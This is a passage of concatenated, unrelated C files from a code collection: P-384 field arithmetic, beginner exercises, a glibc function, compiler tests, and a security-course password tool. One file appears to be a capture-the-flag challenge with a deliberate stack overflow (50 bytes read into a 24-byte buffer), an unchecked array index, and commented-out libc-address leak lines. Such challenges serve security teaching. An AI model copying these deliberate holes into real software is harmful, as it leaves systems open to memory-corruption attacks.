0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] * arg3: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] * Output Bounds: * out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] */ static void fiat_p384_selectznz(uint64_t out1[6], fiat_p384_uint1 arg1, const uint64_t arg2[6], const uint64_t arg3[6]) { uint64_t x1; fiat_p384_cmovznz_u64(&x1, arg1, (arg2[0]), (arg3[0])); uint64_t x2; fiat_p384_cmovznz_u64(&x2, arg1, (arg2[1]), (arg3[1])); uint64_t x3; fiat_p384_cmovznz_u64(&x3, arg1, (arg2[2]), (arg3[2])); uint64_t x4; fiat_p384_cmovznz_u64(&x4, arg1, (arg2[3]), (arg3[3])); uint64_t x5; fiat_p384_cmovznz_u64(&x5, arg1, (arg2[4]), (arg3[4])); uint64_t x6; fiat_p384_cmovznz_u64(&x6, arg1, (arg2[5]), (arg3[5])); out1[0] = x1; out1[1] = x2; out1[2] = x3; out1[3] = x4; out1[4] = x5; out1[5] = x6; } /* * The function fiat_p384_to_bytes serializes a field element in the Montgomery domain to bytes in little-endian order. * Preconditions: * 0 ≤ eval arg1 < m * Postconditions: * out1 = map (λ x, ⌊((eval arg1 mod m) mod 2^(8 * (x + 1))) / 2^(8 * x)⌋) [0..47] * * Input Bounds: * arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] * Output Bounds: * out1: [[0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff]] */ static void fiat_p384_to_bytes(uint8_t out1[48], const uint64_t arg1[6]) { uint64_t x1 = (arg1[5]); uint64_t x2 = (arg1[4]); uint64_t x3 = (arg1[3]); uint64_t x4 = (arg1[2]); uint64_t x5 = (arg1[1]); uint64_t x6 = (arg1[0]); uint64_t x7 = (x6 >> 8); uint8_t x8 = (uint8_t)(x6 & UINT8_C(0xff)); uint64_t x9 = (x7 >> 8); uint8_t x10 = (uint8_t)(x7 & UINT8_C(0xff)); uint64_t x11 = (x9 >> 8); uint8_t x12 = (uint8_t)(x9 & UINT8_C(0xff)); uint64_t x13 = (x11 >> 8); uint8_t x14 = (uint8_t)(x11 & UINT8_C(0xff)); uint64_t x15 = (x13 >> 8); uint8_t x16 = (uint8_t)(x13 & UINT8_C(0xff)); uint64_t x17 = (x15 >> 8); uint8_t x18 = (uint8_t)(x15 & UINT8_C(0xff)); uint8_t x19 = (uint8_t)(x17 >> 8); uint8_t x20 = (uint8_t)(x17 & UINT8_C(0xff)); uint8_t x21 = (uint8_t)(x19 & UINT8_C(0xff)); uint64_t x22 = (x5 >> 8); uint8_t x23 = (uint8_t)(x5 & UINT8_C(0xff)); uint64_t x24 = (x22 >> 8); uint8_t x25 = (uint8_t)(x22 & UINT8_C(0xff)); uint64_t x26 = (x24 >> 8); uint8_t x27 = (uint8_t)(x24 & UINT8_C(0xff)); uint64_t x28 = (x26 >> 8); uint8_t x29 = (uint8_t)(x26 & UINT8_C(0xff)); uint64_t x30 = (x28 >> 8); uint8_t x31 = (uint8_t)(x28 & UINT8_C(0xff)); uint64_t x32 = (x30 >> 8); uint8_t x33 = (uint8_t)(x30 & UINT8_C(0xff)); uint8_t x34 = (uint8_t)(x32 >> 8); uint8_t x35 = (uint8_t)(x32 & UINT8_C(0xff)); uint8_t x36 = (uint8_t)(x34 & UINT8_C(0xff)); uint64_t x37 = (x4 >> 8); uint8_t x38 = (uint8_t)(x4 & UINT8_C(0xff)); uint64_t x39 = (x37 >> 8); uint8_t x40 = (uint8_t)(x37 & UINT8_C(0xff)); uint64_t x41 = (x39 >> 8); uint8_t x42 = (uint8_t)(x39 & UINT8_C(0xff)); uint64_t x43 = (x41 >> 8); uint8_t x44 = (uint8_t)(x41 & UINT8_C(0xff)); uint64_t x45 = (x43 >> 8); uint8_t x46 = (uint8_t)(x43 & UINT8_C(0xff)); uint64_t x47 = (x45 >> 8); uint8_t x48 = (uint8_t)(x45 & UINT8_C(0xff)); uint8_t x49 = (uint8_t)(x47 >> 8); uint8_t x50 = (uint8_t)(x47 & UINT8_C(0xff)); uint8_t x51 = (uint8_t)(x49 & UINT8_C(0xff)); uint64_t x52 = (x3 >> 8); uint8_t x53 = (uint8_t)(x3 & UINT8_C(0xff)); uint64_t x54 = (x52 >> 8); uint8_t x55 = (uint8_t)(x52 & UINT8_C(0xff)); uint64_t x56 = (x54 >> 8); uint8_t x57 = (uint8_t)(x54 & UINT8_C(0xff)); uint64_t x58 = (x56 >> 8); uint8_t x59 = (uint8_t)(x56 & UINT8_C(0xff)); uint64_t x60 = (x58 >> 8); uint8_t x61 = (uint8_t)(x58 & UINT8_C(0xff)); uint64_t x62 = (x60 >> 8); uint8_t x63 = (uint8_t)(x60 & UINT8_C(0xff)); uint8_t x64 = (uint8_t)(x62 >> 8); uint8_t x65 = (uint8_t)(x62 & UINT8_C(0xff)); uint8_t x66 = (uint8_t)(x64 & UINT8_C(0xff)); uint64_t x67 = (x2 >> 8); uint8_t x68 = (uint8_t)(x2 & UINT8_C(0xff)); uint64_t x69 = (x67 >> 8); uint8_t x70 = (uint8_t)(x67 & UINT8_C(0xff)); uint64_t x71 = (x69 >> 8); uint8_t x72 = (uint8_t)(x69 & UINT8_C(0xff)); uint64_t x73 = (x71 >> 8); uint8_t x74 = (uint8_t)(x71 & UINT8_C(0xff)); uint64_t x75 = (x73 >> 8); uint8_t x76 = (uint8_t)(x73 & UINT8_C(0xff)); uint64_t x77 = (x75 >> 8); uint8_t x78 = (uint8_t)(x75 & UINT8_C(0xff)); uint8_t x79 = (uint8_t)(x77 >> 8); uint8_t x80 = (uint8_t)(x77 & UINT8_C(0xff)); uint8_t x81 = (uint8_t)(x79 & UINT8_C(0xff)); uint64_t x82 = (x1 >> 8); uint8_t x83 = (uint8_t)(x1 & UINT8_C(0xff)); uint64_t x84 = (x82 >> 8); uint8_t x85 = (uint8_t)(x82 & UINT8_C(0xff)); uint64_t x86 = (x84 >> 8); uint8_t x87 = (uint8_t)(x84 & UINT8_C(0xff)); uint64_t x88 = (x86 >> 8); uint8_t x89 = (uint8_t)(x86 & UINT8_C(0xff)); uint64_t x90 = (x88 >> 8); uint8_t x91 = (uint8_t)(x88 & UINT8_C(0xff)); uint64_t x92 = (x90 >> 8); uint8_t x93 = (uint8_t)(x90 & UINT8_C(0xff)); uint8_t x94 = (uint8_t)(x92 >> 8); uint8_t x95 = (uint8_t)(x92 & UINT8_C(0xff)); out1[0] = x8; out1[1] = x10; out1[2] = x12; out1[3] = x14; out1[4] = x16; out1[5] = x18; out1[6] = x20; out1[7] = x21; out1[8] = x23; out1[9] = x25; out1[10] = x27; out1[11] = x29; out1[12] = x31; out1[13] = x33; out1[14] = x35; out1[15] = x36; out1[16] = x38; out1[17] = x40; out1[18] = x42; out1[19] = x44; out1[20] = x46; out1[21] = x48; out1[22] = x50; out1[23] = x51; out1[24] = x53; out1[25] = x55; out1[26] = x57; out1[27] = x59; out1[28] = x61; out1[29] = x63; out1[30] = x65; out1[31] = x66; out1[32] = x68; out1[33] = x70; out1[34] = x72; out1[35] = x74; out1[36] = x76; out1[37] = x78; out1[38] = x80; out1[39] = x81; out1[40] = x83; out1[41] = x85; out1[42] = x87; out1[43] = x89; out1[44] = x91; out1[45] = x93; out1[46] = x95; out1[47] = x94; } /* * The function fiat_p384_from_bytes deserializes a field element in the Montgomery domain from bytes in little-endian order. * Preconditions: * 0 ≤ bytes_eval arg1 < m * Postconditions: * eval out1 mod m = bytes_eval arg1 mod m * 0 ≤ eval out1 < m * * Input Bounds: * arg1: [[0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff], [0x0 ~> 0xff]] * Output Bounds: * out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]] */ static void fiat_p384_from_bytes(uint64_t out1[6], const uint8_t arg1[48]) { uint64_t x1 = ((uint64_t)(arg1[47]) << 56); uint64_t x2 = ((uint64_t)(arg1[46]) << 48); uint64_t x3 = ((uint64_t)(arg1[45]) << 40); uint64_t x4 = ((uint64_t)(arg1[44]) << 32); uint64_t x5 = ((uint64_t)(arg1[43]) << 24); uint64_t x6 = ((uint64_t)(arg1[42]) << 16); uint64_t x7 = ((uint64_t)(arg1[41]) << 8); uint8_t x8 = (arg1[40]); uint64_t x9 = ((uint64_t)(arg1[39]) << 56); uint64_t x10 = ((uint64_t)(arg1[38]) << 48); uint64_t x11 = ((uint64_t)(arg1[37]) << 40); uint64_t x12 = ((uint64_t)(arg1[36]) << 32); uint64_t x13 = ((uint64_t)(arg1[35]) << 24); uint64_t x14 = ((uint64_t)(arg1[34]) << 16); uint64_t x15 = ((uint64_t)(arg1[33]) << 8); uint8_t x16 = (arg1[32]); uint64_t x17 = ((uint64_t)(arg1[31]) << 56); uint64_t x18 = ((uint64_t)(arg1[30]) << 48); uint64_t x19 = ((uint64_t)(arg1[29]) << 40); uint64_t x20 = ((uint64_t)(arg1[28]) << 32); uint64_t x21 = ((uint64_t)(arg1[27]) << 24); uint64_t x22 = ((uint64_t)(arg1[26]) << 16); uint64_t x23 = ((uint64_t)(arg1[25]) << 8); uint8_t x24 = (arg1[24]); uint64_t x25 = ((uint64_t)(arg1[23]) << 56); uint64_t x26 = ((uint64_t)(arg1[22]) << 48); uint64_t x27 = ((uint64_t)(arg1[21]) << 40); uint64_t x28 = ((uint64_t)(arg1[20]) << 32); uint64_t x29 = ((uint64_t)(arg1[19]) << 24); uint64_t x30 = ((uint64_t)(arg1[18]) << 16); uint64_t x31 = ((uint64_t)(arg1[17]) << 8); uint8_t x32 = (arg1[16]); uint64_t x33 = ((uint64_t)(arg1[15]) << 56); uint64_t x34 = ((uint64_t)(arg1[14]) << 48); uint64_t x35 = ((uint64_t)(arg1[13]) << 40); uint64_t x36 = ((uint64_t)(arg1[12]) << 32); uint64_t x37 = ((uint64_t)(arg1[11]) << 24); uint64_t x38 = ((uint64_t)(arg1[10]) << 16); uint64_t x39 = ((uint64_t)(arg1[9]) << 8); uint8_t x40 = (arg1[8]); uint64_t x41 = ((uint64_t)(arg1[7]) << 56); uint64_t x42 = ((uint64_t)(arg1[6]) << 48); uint64_t x43 = ((uint64_t)(arg1[5]) << 40); uint64_t x44 = ((uint64_t)(arg1[4]) << 32); uint64_t x45 = ((uint64_t)(arg1[3]) << 24); uint64_t x46 = ((uint64_t)(arg1[2]) << 16); uint64_t x47 = ((uint64_t)(arg1[1]) << 8); uint8_t x48 = (arg1[0]); uint64_t x49 = (x48 + (x47 + (x46 + (x45 + (x44 + (x43 + (x42 + x41))))))); uint64_t x50 = (x49 & UINT64_C(0xffffffffffffffff)); uint64_t x51 = (x8 + (x7 + (x6 + (x5 + (x4 + (x3 + (x2 + x1))))))); uint64_t x52 = (x16 + (x15 + (x14 + (x13 + (x12 + (x11 + (x10 + x9))))))); uint64_t x53 = (x24 + (x23 + (x22 + (x21 + (x20 + (x19 + (x18 + x17))))))); uint64_t x54 = (x32 + (x31 + (x30 + (x29 + (x28 + (x27 + (x26 + x25))))))); uint64_t x55 = (x40 + (x39 + (x38 + (x37 + (x36 + (x35 + (x34 + x33))))))); uint64_t x56 = (x55 & UINT64_C(0xffffffffffffffff)); uint64_t x57 = (x54 & UINT64_C(0xffffffffffffffff)); uint64_t x58 = (x53 & UINT64_C(0xffffffffffffffff)); uint64_t x59 = (x52 & UINT64_C(0xffffffffffffffff)); out1[0] = x50; out1[1] = x56; out1[2] = x57; out1[3] = x58; out1[4] = x59; out1[5] = x51; }
the_stack_data/85296.c
#include <stdio.h> #include <stdlib.h> #include <time.h> #include <stdint.h> extern int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)); void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); srand(time(0)); } int main() { init(); // printf("%p\n%p\n", system-349200, (system-349200)+0xe6c7e); int score = 0; uint8_t nums[8]; for (int i = 0; i < sizeof(nums); i++) { nums[i] = (uint8_t)(rand() % 0xff); // printf("%hhu ", nums[i]); } while (score < 8) { int index; uint8_t guess; printf("\nWhich number are you guessing (0-7)? "); scanf("%u", &index); printf("Enter your guess: "); scanf(" %hhu", &guess); // printf("Guess: %hhu, actual: %hhu\n", guess, nums[index]); if (guess < nums[index]) puts("Ouch, too low!"); else if (guess > nums[index]) puts("Too high!"); else { score++; puts("You got it!"); } } getchar(); char feedback[24]; printf("So, what did you think of my game? "); read(0, feedback, 50); // printf("%p\n", ((unsigned long*)nums)[6]); asm("xor r12, r12"); }
the_stack_data/165766575.c
#include <math.h> int max(int a, int b) { return a>b?a:b; } int min(int a, int b) { return a<b?a:b; } int abs(int n) { return n<0?-n:n; }
the_stack_data/57949336.c
#include <stdio.h> int main(int argc, char *argv[]) { char *name; if (argc > 1) { name = argv[1]; } else { name = "world"; } printf("Hello %s!\n", name); return 0; }
the_stack_data/9511622.c
#include <stdio.h> //@cikey 2ec04005815a9deb1e74cd9ef4848bee //@sid 2021155919 //@aid 5.1 int main() { //begin_inputs int num_final; printf("Escreva um valor que queira ser somado: "); scanf("%d", &num_final ); //end_inputs int acumulador=0; for (int i = 1; i <= num_final; i++) { acumulador =acumulador+i; } printf("num_final: %d - soma: %d",num_final, acumulador); return 0; }
the_stack_data/42096.c
/* ll: aliased to ls -lh * e.g. ---------- 1 [user] [machine] [size] [human readable time] [name] */ #include <grp.h> #include <pwd.h> #include <stdio.h> #include <string.h> #include <sys/stat.h> #include <sys/types.h> #include <time.h> #include <unistd.h> int main(int argc, char **argv) { if (argc != 2) { printf("usage: ./ll file\n"); return -1; } struct stat statbuf; if (stat(argv[1], &statbuf) == -1) { perror("stat"); return -1; } char mode[11] = {'0'}; { switch (statbuf.st_mode & S_IFMT) { case S_IFLNK: mode[0] = 'l'; break; case S_IFDIR: mode[0] = 'd'; break; case S_IFREG: mode[0] = '-'; break; case S_IFBLK: mode[0] = 'b'; break; case S_IFCHR: mode[0] = 'c'; break; case S_IFSOCK: mode[0] = 's'; break; case S_IFIFO: mode[0] = 'p'; break; default: mode[0] = '?'; break; } mode[1] = (statbuf.st_mode & S_IRUSR) ? 'r' : '-'; mode[2] = (statbuf.st_mode & S_IWUSR) ? 'w' : '-'; mode[3] = (statbuf.st_mode & S_IXUSR) ? 'x' : '-'; mode[4] = (statbuf.st_mode & S_IRGRP) ? 'r' : '-'; mode[5] = (statbuf.st_mode & S_IWGRP) ? 'w' : '-'; mode[6] = (statbuf.st_mode & S_IXGRP) ? 'x' : '-'; mode[7] = (statbuf.st_mode & S_IROTH) ? 'r' : '-'; mode[8] = (statbuf.st_mode & S_IWOTH) ? 'w' : '-'; mode[9] = (statbuf.st_mode & S_IXOTH) ? 'x' : '-'; } int nlink = statbuf.st_nlink; char *owner = getpwuid(statbuf.st_uid)->pw_name; char *group = getgrgid(statbuf.st_gid)->gr_name; long int size = statbuf.st_size; char *time = ctime(&statbuf.st_mtime); char mtime[512] = {0}; strncpy(mtime, time, strlen(time) - 1); char buf[1024]; sprintf(buf, "%s %d %s %s %ld %s %s", mode, nlink, owner, group, size, mtime, argv[1]); printf("%s\n", buf); return 0; }
the_stack_data/72012189.c
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> int main(void) { char tmpl[] = "/tmp/zz-XXXXXX"; int i; for (i = 0; i < 1000; i++) { int fd; strcpy(tmpl, "/tmp/zz-XXXXXX"); fd = mkstemp(tmpl); if (fd == -1) { perror("mkstemp() failed"); exit(1); } // printf("=> '%s'\n", tmpl); close(fd); } return 0; }
the_stack_data/1165936.c
/* Copyright (C) 1992-2015 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #include <errno.h> #include <stddef.h> /* For NULL. */ #include <sys/time.h> #include <time.h> /* Set the system clock to *WHEN. */ int stime (when) const time_t *when; { struct timeval tv; if (when == NULL) { __set_errno (EINVAL); return -1; } tv.tv_sec = *when; tv.tv_usec = 0; return __settimeofday (&tv, (struct timezone *) 0); }
the_stack_data/4355.c
/**ARGS: includes --locate -DFOO=BAR "-DBAR=bar(x,y,z" */ /**SYSCODE: = 4 */ /**NO-OUTPUT */ #ifdef FOO #include FOO #elif 1 //KEEP ME #endif
the_stack_data/34810.c
#include <stdio.h> #include <stdlib.h> int main() { int n; do { printf("Give a positive integer:\n"); if (scanf_s("%d", &n) != 1) { printf("Wrong input!\n"); exit(1); } } while(n<=0); int i, j; for (i = 1; i <= n; i++) { for (j = 1; j <= i; j++) { printf("%d ", j); } printf("\n"); } return 0; }
the_stack_data/72013201.c
/* Check acc_is_present and acc_delete. */ /* { dg-do run { target openacc_nvidia_accel_selected } } */ #include <stdlib.h> #include <openacc.h> #include <stdio.h> int main (int argc, char **argv) { const int N = 256; int i; unsigned char *h; void *d; h = (unsigned char *) malloc (N); for (i = 0; i < N; i++) { h[i] = i; } d = acc_copyin (h, N); if (acc_is_present (h, 1) != 1) abort (); if (acc_is_present (h, N + 1) != 0) abort (); if (acc_is_present (h + 1, N) != 0) abort (); if (acc_is_present (h - 1, N) != 0) abort (); if (acc_is_present (h - 1, N - 1) != 0) abort (); if (acc_is_present (h + N, 0) != 0) abort (); if (acc_is_present (h + N, N) != 0) abort (); if (acc_is_present (0, N) != 0) abort (); if (acc_is_present (h, 0) != 0) abort (); acc_free (d); if (acc_is_present (h, 1) != 0) abort (); free (h); return 0; }
the_stack_data/68886556.c
/* $Header: https://svn.ita.chalmers.se/repos/security/edu/course/computer_security/trunk/lab/login_linux/makepass.c 584 2013-01-19 10:30:22Z [email protected] $ */ /* makepass.c - Make a UNIX password */ /* compile with: gcc -o makepass makepass.c -lcrypt */ /* usage: "makepass 'salt'" */ #include <crypt.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <strings.h> #include <unistd.h> int is_salt(char *salt) { char salts[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789./"; return strlen(salt) == 2 && strchr(salts, salt[0]) != 0 && strchr(salts, salt[1]) != 0 && salt[0] != '\0' && salt[1] != '\0'; } int main(int argc, char *argv[]) { char *clear; char clear1[9]; char *clear2; if (argc != 2) { fprintf(stderr, "Usage: %s salt\n", argv[0]); return 1; } if (!is_salt(argv[1])) { fprintf(stderr, "(%s) is illegal salt!\n", argv[1]); return 2; } clear = getpass("Password: "); if (clear == NULL) { bzero(clear, 8); fprintf(stderr, "Not a tty!"); return 3; } strncpy(clear1, clear, 8); bzero(clear, 8); clear2 = getpass("Re-enter password: "); if (clear2 == NULL) { bzero(clear2, 8); fprintf(stderr, "Not a tty!"); return 3; } if (strcmp(clear1, clear2) != 0) { fprintf(stderr, "Sorry, passwords don't match.\n"); bzero(clear1, 8); bzero(clear2, 8); return 4; } printf("Encrypted password: \"%s\"\n", crypt(clear1, argv[1])); bzero(clear1, 8); bzero(clear2, 8); return 0; }
the_stack_data/156394461.c
#include <stdio.h> int main() { int a; printf("Enter an integer between [7,10]:\n"); scanf("%d",&a); while(a!=0) { if (a>7 && a<10) { printf("Result:%d\n", a); printf("Enter an integer between [7,10]:\n"); scanf("%d",&a); } else { printf("Enter a new integer which is between [7,10]:\n"); scanf("%d", &a); } } }
the_stack_data/135810.c
#include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<fcntl.h> #include<sys/stat.h> int main(int argc, char ** argv){ struct stat fileStat; int stat_result = fstatat(AT_FDCWD, "test.exe", &fileStat, 0); printf("stat->mode_t: %d\n", fileStat.st_mode); printf("stat->st_ino: %ld\n", fileStat.st_ino); printf("stat->st_dev: %ld\n", fileStat.st_dev); printf("stat->st_nlink_t: %ld\n", fileStat.st_nlink); printf("stat->st_uid: %d\n", fileStat.st_uid); printf("stat->st_gid: %d\n", fileStat.st_gid); printf("stat->st_size: %ld\n", fileStat.st_size); printf("stat->st_blksize: %ld\n", fileStat.st_blksize); printf("stat->st_blocks: %ld\n", fileStat.st_blocks); return EXIT_SUCCESS; }
the_stack_data/940173.c
// SPDX-License-Identifier: Apache-2.0 // Copyright 2019 Western Digital Corporation or its affiliates. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "printf.h" int main(){ printf("Hello world from SweRV on FPGA!\n"); return 0; }
the_stack_data/218892139.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> /* * dfind.c * * Find non-zero objects in a binary image. * * Mike Blanton * 1/2006 */ #define PI 3.14159265358979 #define FREEVEC(a) {if((a)!=NULL) free((char *) (a)); (a)=NULL;} static int *matches=NULL; static int *nmatches=NULL; static int *mapgroup=NULL; int dfind(int *image, int nx, int ny, int *object) { int i,ip,j,jp,k,kp,l,ist,ind,jst,jnd,igroup,minearly,checkearly,tmpearly; int ngroups; mapgroup=(int *) malloc((size_t) nx*ny*sizeof(int)); matches=(int *) malloc((size_t) nx*ny*9*sizeof(int)); nmatches=(int *) malloc((size_t) nx*ny*sizeof(int)); for(k=0;k<nx*ny;k++) object[k]=-1; for(k=0;k<nx*ny;k++) mapgroup[k]=-1; for(k=0;k<nx*ny;k++) nmatches[k]=0; for(k=0;k<nx*ny*9;k++) matches[k]=-1; /* find matches */ for(j=0;j<ny;j++) { jst=j-1; jnd=j+1; if(jst<0) jst=0; if(jnd>ny-1) jnd=ny-1; for(i=0;i<nx;i++) { ist=i-1; ind=i+1; if(ist<0) ist=0; if(ind>nx-1) ind=nx-1; k=i+j*nx; if(image[k]) { for(jp=jst;jp<=jnd;jp++) for(ip=ist;ip<=ind;ip++) { kp=ip+jp*nx; if(image[kp]) { matches[9*k+nmatches[k]]=kp; nmatches[k]++; } } } /* end if */ } } /* group pixels on matches */ igroup=0; for(k=0;k<nx*ny;k++) { if(image[k]) { minearly=igroup; for(l=0;l<nmatches[k];l++) { kp=matches[9*k+l]; checkearly=object[kp]; if(checkearly>=0) { while(mapgroup[checkearly]!=checkearly) { checkearly=mapgroup[checkearly]; } if(checkearly<minearly) minearly=checkearly; } } if(minearly==igroup) { mapgroup[igroup]=igroup; for(l=0;l<nmatches[k];l++) { kp=matches[9*k+l]; object[kp]=igroup; } igroup++; } else { for(l=0;l<nmatches[k];l++) { kp=matches[9*k+l]; checkearly=object[kp]; if(checkearly>=0) { while(mapgroup[checkearly]!=checkearly) { tmpearly=mapgroup[checkearly]; mapgroup[checkearly]=minearly; checkearly=tmpearly; } mapgroup[checkearly]=minearly; } } for(l=0;l<nmatches[k];l++) { kp=matches[9*k+l]; object[kp]=minearly; } } } } ngroups=0; for(i=0;i<nx*ny;i++) { if(mapgroup[i]>=0) { if(mapgroup[i]==i) { mapgroup[i]=ngroups; ngroups++; } else { mapgroup[i]=mapgroup[mapgroup[i]]; } } } for(i=0;i<nx*ny;i++) object[i]=mapgroup[object[i]]; for(i=0;i<nx*ny;i++) mapgroup[i]=-1; igroup=0; for(k=0;k<nx*ny;k++) { if(image[k]>0 && mapgroup[object[k]]==-1) { mapgroup[object[k]]=igroup; igroup++; } } for(i=0;i<nx*ny;i++) if(image[i]>0) object[i]=mapgroup[object[i]]; else object[i]=-1; FREEVEC(matches); FREEVEC(nmatches); FREEVEC(mapgroup); return(1); } /* end dfind */
the_stack_data/184296.c
#include <stdio.h> #include <stdlib.h> int main() { int x, y, temp; x = temp = y = 0; printf("Qual o seu numero?: "); scanf(" %d", &x); y = (3*x) - 1; for (temp = 0 ; temp <= y; temp++) { printf("%d \n", temp); } return 1; }
the_stack_data/181392869.c
/** @page tips Tips for doxygen usage with mtoc * * @section tip_versioning Feature and change tracking information * * @subsection dg_featchange New feature and change log commands * New features can be tracked version-based via using * @verbatim * @new{<mainversionnumber>, <mainversionnumber>, <developerkey>[, <date>]} <description> * @endverbatim * * For example, writing * @verbatim * @new{0,1,dw} Added a fancy new feature! (New feature Example) * @endverbatim * results in * @new{0,1,dw} Added a fancy new feature! (New feature Example) * * To include a date write * @verbatim * @new{0,1,dw,2011-01-01} Added a fancy new feature on new year's! (New feature Example) * @endverbatim * results in * @new{0,1,dw,2011-01-01} Added a fancy new feature on new year's! (New feature Example) * * and a new related page called @ref newfeat01 listing these * items. To refer to that Changelog page, use the keyword 'newfeat' * together with both plainly concatenated numbers: * @verbatim * @ref newfeat01 * @endverbatim * gives @ref newfeat01 * * Changes can be tracked version-based via using * @verbatim * @change{<mainversionnumber>, <mainversionnumber>, <developerkey>[, <date>]} <change-text> * @endverbatim * * For example, writing * @verbatim * @change{0,1,dw} Changed foo to bar! (Changelog Example) * @endverbatim * results in * @change{0,1,dw} Changed foo to bar! (Changelog Example) * * The optional date works same as with the '@@new' command. The * related page keys for changes are composed by the keyword 'changelog' * and both plainly concatenated numbers (similar to the new feature * keys). * * */
the_stack_data/225143428.c
/* emulatore terminale */ #include <sys/types.h> #include <fcntl.h> #include <errno.h> #include <unistd.h> #include <stdio.h> #include <termios.h> int main(int argc, char *argv[]) { int ioptr[2], nmax = 80, k0, k1; char device0[80], device1[80], stringa[80]; struct termios attr0, attr1; printf("primo device: "); scanf("%s", device0); ioptr[0] = open(device0, O_RDONLY | O_NONBLOCK); if (ioptr[0] < 0) { printf("Errore nr. %d nell'apertura della linea!\n", errno); return 1; } printf("secondo device: "); scanf("%s", device1); ioptr[1] = open(device1, O_RDWR); if (ioptr[1] < 0) { printf("Errore nr. %d nell'apertura della linea!\n", errno); return 1; } tcgetattr(ioptr[0],&attr0); attr0.c_lflag &= ~(ICANON); attr0.c_lflag &= ~(ECHO); attr0.c_cc[VMIN] = 1; tcsetattr(ioptr[0], TCSADRAIN, &attr0); /* tcgetattr(ioptr[1], &attr1); attr1.c_lflag &= ~(ICANON); attr1.c_lflag &= ~(ECHO); attr1.c_cc[VMIN] = 1; tcsetattr(ioptr[1], TCSADRAIN, &attr1); */ while(1) { k0 = read(ioptr[0], stringa, nmax); printf("Letto %d caratteri da ioptr[0]\n", k0); if(k0 > 0) write(ioptr[1], stringa, k0); /* 